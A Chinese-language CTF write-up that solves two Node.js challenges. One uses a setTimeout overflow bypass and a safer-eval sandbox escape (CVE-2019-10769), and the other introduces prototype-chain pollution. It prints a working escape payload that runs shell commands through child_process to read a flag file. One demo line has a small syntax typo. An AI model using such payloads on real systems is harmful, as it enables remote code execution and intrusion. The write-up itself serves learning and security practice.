寫在前面
Nodejs基礎一點沒有做題還是很難下手的,要學的還很多
[GKCTF2020]EZ三劍客-EzNode
知識點
2.沙盒逃逸
題解
打開題目,看源代碼
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
通過/eval?delay=
上傳一個數字並和60000比較,大的賦值給delay
根據上文的內容中:
setTimeout最多只能推遲執行2147483647毫秒(24.8天),超過這個時間會發生溢出,導致回調函數將在當前任務隊列結束后立即執行
我們傳入一個大於2147483647的值即可
再看
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一個很棒的庫
百度上去找safer-eval庫發現存在漏洞(CVE-2019-10769 )
直接拿來用就行 鏈接:https://github.com/commenthol/safer-eval/issues/10
e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()
[GYCTF2020]Ez_Express
知識點
1.Nodejs原型鏈污染
鏈接:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain
原型鏈概念
在 Javascript,每一個實例對象都有一個prototype屬性,prototype 屬性
可以向對象添加屬性和方法。
object.prototype.name=value
在 Javascript,每一個實例對象都有一個__proto__屬性,這個實例屬性 指向對象的原型對象(即原型)。可以通過以下方式訪問得到某一實例對 象的原型對象:
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype
污染原理
object[a][b] = value 如果可以控制a、b、value的值,將a設置為 proto,我們就可以給object對象的原型設置一個b屬性,值為value。這樣 所有繼承object對象原型的實例對象在本身不擁有b屬性的情況下,都會擁有b 屬性,且值為value。
object1 = {"a":1,"b":2};
object1.__proto__.foo = "hhh";//直接修改原型,添加foo
console.log.(object1.foo);
object2 = {"c":1,"d":2};
console.log(object2.foo);//本身沒找到,就去原型里找